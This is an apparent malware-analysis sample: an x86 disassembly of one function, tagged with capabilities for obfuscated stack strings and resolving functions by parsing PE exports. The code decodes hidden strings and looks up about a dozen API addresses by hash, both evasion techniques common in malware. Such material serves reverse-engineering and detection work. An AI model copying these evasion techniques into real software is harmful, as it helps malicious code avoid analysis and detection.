Function at 0x40a990
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1a0
mov eax, dword [0x44ac20]
mov dword [esp + 0x18], 0x739b6d97
mov dword [esp + 0x1c], 0x779e7182
mov dword [esp + 0x20], 0x7b8e7580
mov dword [esp + 0x24], 0x7f4c7988
mov dword [esp + 0x28], 0x3ee7d98
mov dword [esp + 0x2c], 0x70601ec
mov dword [esp + 0x30], 0
mov byte [esp + 0x34], 0
mov ecx, 0x15545cae
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x15545c96]
mov esi, ecx
and esi, edx
add esi, esi
sub edx, esi
add edx, ecx
mov dword [esp + 0x11c], edx
mov edx, dword [esp + 0x11c]
add dl, 0x3e
mov byte [esp + ecx - 0x15545c96], dl
cmp ecx, 0x15545cca
je 0x40aa53
movzx edx, byte [esp + ecx - 0x15545c95]
lea esi, [ecx + 1]
and esi, edx
add esi, esi
sub edx, esi
add edx, ecx
inc edx
mov dword [esp + 0x11c], edx
mov edx, dword [esp + 0x11c]
add dl, 0x3e
mov byte [esp + ecx - 0x15545c95], dl
add ecx, 2
jmp 0x40a9f0
lea ecx, [esp + 0x18]
push 0x800
push 0
push ecx
call eax
mov ecx, 0x44abe8
push eax
call fcn.0043b7f0
test al, al
je 0x40af54
push 0xd16c9e6b
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44abf0], eax
push 0x2b39326b
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44abf4], eax
push 0x20eddf4
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44abf8], eax
push 0x6f420210
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44abfc], eax
push 0xbb4ac2a9
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44ac00], eax
push 0xe03c21ff
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44ac04], eax
push 0xb35fc6e6
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44ac08], eax
push 0xe3a9b6db
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44ac0c], eax
push 0xe81e9fc0
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44ac10], eax
push 0x70f53c13
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44ac14], eax
push 0xb54b293a
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44ac18], eax
push 0x9b73555b
push dword [0x44abe8]
call fcn.0043ddb0
add esp, 8
mov dword [0x44ac1c], eax
mov eax, 0x4425f4
nop
nop
nop
nop
nop
nop
nop
lea ecx, [esp + 0x11c]
push ecx
mov dword [esp + 0x14], eax
push dword [eax]
call fcn.00437180
add esp, 8
mov eax, 0xffffffff
nop
nop
nop
nop
nop
cmp byte [esp + eax + 0x11d], 0
lea eax, [eax + 1]
jne 0x40abc0
mov dword [esp + 8], 0
lea edx, [esp + 0x18]
test eax, eax
jle 0x40ac40
lea ecx, [esp + eax]
add ecx, 0x11c
xor ebx, ebx
lea edx, [esp + 0x18]
lea esi, [esp + 0x11c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi], 0
je 0x40ac40
lea eax, [esp + 8]
push eax
push ecx
push esi
mov edi, ecx
mov dword [esp + 0x10], edx
call fcn.0040d3a0
mov edx, dword [esp + 0x10]
add esp, 0xc
movzx ecx, word [esp + 8]
mov word [edx], cx
add edx, 2
cmp ebx, 0x7d
ja 0x40ac40
add esi, eax
inc ebx
cmp esi, edi
mov ecx, edi
jb 0x40ac00
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edx], 0
lea eax, [esp + 0x18]
push eax
call fcn.0040b180
add esp, 4
test al, al
jne 0x40adf2
mov eax, dword [esp + 0x10]
add eax, 4
cmp eax, 0x442618
jne 0x40aba0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0x73866d84
mov dword [esp + 0x1c], 0x77867184
mov dword [esp + 0x20], 0x7b447583
mov dword [esp + 0x24], 0x7f4d794b
mov dword [esp + 0x28], 0x3f67d8b
mov dword [esp + 0x2c], 0x7e701e5
mov dword [esp + 0x30], 0xbed05e9
mov dword [esp + 0x34], 0xfe309fb
mov dword [esp + 0x38], 0x13e70de1
mov dword [esp + 0x3c], 0x17ff11e2
mov dword [esp + 0x40], 0x1be315e0
mov dword [esp + 0x44], 0x1ff9192a
mov dword [esp + 0x48], 0x23cf1def
mov dword [esp + 0x4c], 0x27d62113
mov dword [esp + 0x50], 0x2bd925d2
mov dword [esp + 0x54], 0x2fc729c2
mov dword [esp + 0x58], 0x33d72dc0
mov dword [esp + 0x5c], 0x370531c7
mov dword [esp + 0x60], 0x3b00350f
mov dword [esp + 0x64], 0x3f04390d
mov dword [esp + 0x68], 0xc3f33d0d
mov dword [esp + 0x6c], 0xc7ffc1f9
mov dword [esp + 0x70], 0xcbfcc5ff
mov dword [esp + 0x74], 0xcff9c9fc
mov dword [esp + 0x78], 0xd3e3cdfb
mov dword [esp + 0x7c], 0xd7e6d1e9
mov dword [esp + 0x80], 0xdbdad5e4
mov byte [esp + 0x8c], 0
mov dword [esp + 0x88], 0
mov dword [esp + 0x84], 0
mov eax, 0x54c5832e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x54c58316]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov dword [esp + 0x11c], ecx
mov ecx, dword [esp + 0x11c]
add cl, 0xbe
mov byte [esp + eax - 0x54c58316], cl
cmp eax, 0x54c583a2
je 0x40ae2d
movzx ecx, byte [esp + eax - 0x54c58315]
lea edx, [eax + 1]
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
inc ecx
mov dword [esp + 0x11c], ecx
mov ecx, dword [esp + 0x11c]
add cl, 0xbe
mov byte [esp + eax - 0x54c58315], cl
add eax, 2
jmp 0x40ad90
movzx ecx, word [esp + 0x18]
mov eax, 0x44ac24
test cx, cx
je 0x40ae21
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40ae10
mov word [eax], 0
mov bl, 1
jmp 0x40af56
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc]
lea edi, [esp + 0x18]
push eax
push ecx
push edi
call fcn.0040ba30
add esp, 0xc
test al, al
je 0x40af54
mov dword [esp + 0x18], 0x120202fc
mov dword [esp + 0x1c], 0xb15d50a
mov dword [esp + 0x20], 0xc6393a29
mov dword [esp + 0x24], 0x3b2d2cee
mov dword [esp + 0x28], 0x2c3e2035
mov dword [esp + 0x2c], 0x34342034
mov dword [esp + 0x30], 0x343b2727
mov dword [esp + 0x34], 0x3a233c22
mov word [esp + 0x38], 0xdff2
mov byte [esp + 0x3a], 0x92
mov dword [esp + 0x3b], 0
mov dword [esp + 0x3e], 0
mov eax, 0xdafc2398
nop
nop
nop
movzx ecx, byte [esp + eax + 0x2503dc80]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov dword [esp + 0x11c], ecx
mov ecx, dword [esp + 0x11c]
add cl, 0xd8
mov byte [esp + eax + 0x2503dc80], cl
movzx ecx, byte [esp + eax + 0x2503dc81]
lea edx, [eax + 1]
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
inc ecx
mov dword [esp + 0x11c], ecx
mov ecx, dword [esp + 0x11c]
add cl, 0xd8
mov byte [esp + eax + 0x2503dc81], cl
add eax, 2
cmp eax, 0xdafc23c2
jne 0x40aeb0
mov ecx, dword [esp + 0xc]
movzx ebx, byte [esp + 0x18]
test bl, bl
je 0x40af60
mov edx, edi
mov esi, ecx
jmp 0x40af37
movzx ebx, byte [edx]
test bl, bl
je 0x40af62
mov bh, byte [ecx]
test bh, bh
je 0x40b16a
inc ecx
inc edx
lea eax, [esi + 1]
cmp bh, bl
je 0x40af4e
mov esi, eax
mov ecx, eax
je 0x40af30
mov edx, edi
jmp 0x40af30
xor ebx, ebx
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov esi, ecx
test esi, esi
je 0x40b16a
mov dword [esp + 0x18], 0x6365ded0
mov dword [esp + 0x1c], 0xf7346351
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov ecx, 0x6c5ed5ff
nop
movzx eax, byte [esp + ecx - 0x6c5ed5e7]
lea edx, [ecx - 1]
and edx, eax
add edx, edx
sub eax, edx
add eax, ecx
dec eax
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x11c]
add al, 0xe
mov byte [esp + ecx - 0x6c5ed5e7], al
movzx eax, byte [esp + ecx - 0x6c5ed5e6]
mov edx, ecx
and edx, eax
add edx, edx
sub eax, edx
add eax, ecx
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x11c]
add al, 0xe
mov byte [esp + ecx - 0x6c5ed5e6], al
add ecx, 2
cmp ecx, 0x6c5ed60f
jne 0x40af90
movzx edx, byte [esp + 0x18]
mov dword [esp + 4], esi
mov ecx, esi
test dl, dl
je 0x40b034
lea eax, [esp + 0x18]
mov edi, eax
mov ecx, dword [esp + 4]
mov esi, ecx
jmp 0x40b017
movzx edx, byte [edi]
test dl, dl
je 0x40b034
mov dh, byte [esi]
test dh, dh
je 0x40b16a
inc esi
inc edi
lea ebx, [ecx + 1]
cmp dh, dl
je 0x40b02e
mov ecx, ebx
mov esi, ebx
je 0x40b010
mov edi, eax
jmp 0x40b010
test ecx, ecx
je 0x40b16a
mov byte [ecx], 0
mov ecx, 0xffffffff
mov esi, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + ecx + 0x23], 0
lea ecx, [ecx + 1]
jne 0x40b050
test ecx, ecx
je 0x40b09a
xor edx, edx
jmp 0x40b07e
add bl, 0x94
add bl, 0x61
mov byte [esp + edx + 0x11c], bl
mov eax, edx
and eax, 1
xor edx, 1
lea edx, [edx + eax*2]
cmp edx, ecx
jae 0x40b09a
movzx ebx, byte [esi + edx + 0x22]
mov eax, ebx
add al, 0x9f
cmp al, 0x19
ja 0x40b068
movzx eax, bl
add eax, 0xffffffae
cmp eax, 0x1a
jae 0x40b062
mov ebx, eax
jmp 0x40b065
mov byte [esp + ecx + 0x11c], 0
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esp + eax + 0x11d], 0
lea eax, [eax + 1]
jne 0x40b0b0
mov dword [esp + 8], 0
lea edx, [esp + 0x18]
test eax, eax
jle 0x40b123
lea ebx, [esp + eax]
add ebx, 0x11c
xor edi, edi
lea esi, [esp + 0x11c]
lea edx, [esp + 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi], 0
je 0x40b123
lea eax, [esp + 8]
push eax
push ebx
push esi
mov dword [esp + 0x10], edx
call fcn.0040d3a0
mov edx, dword [esp + 0x10]
add esp, 0xc
movzx ecx, word [esp + 8]
mov word [edx], cx
add edx, 2
cmp edi, 0x3d
ja 0x40b123
add esi, eax
inc edi
cmp esi, ebx
jb 0x40b0f0
mov word [edx], 0
lea eax, [esp + 0x18]
push eax
call fcn.0040b180
add esp, 4
test al, al
je 0x40b16a
movzx ecx, word [esp + 0x18]
mov eax, 0x44ac24
test cx, cx
je 0x40b161
lea edx, [esp + 0x1a]
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40b150
mov word [eax], 0
mov bl, 1
jmp 0x40b16c
xor ebx, ebx
push dword [esp + 0xc]
call fcn.0043a0b0
add esp, 4
jmp 0x40af56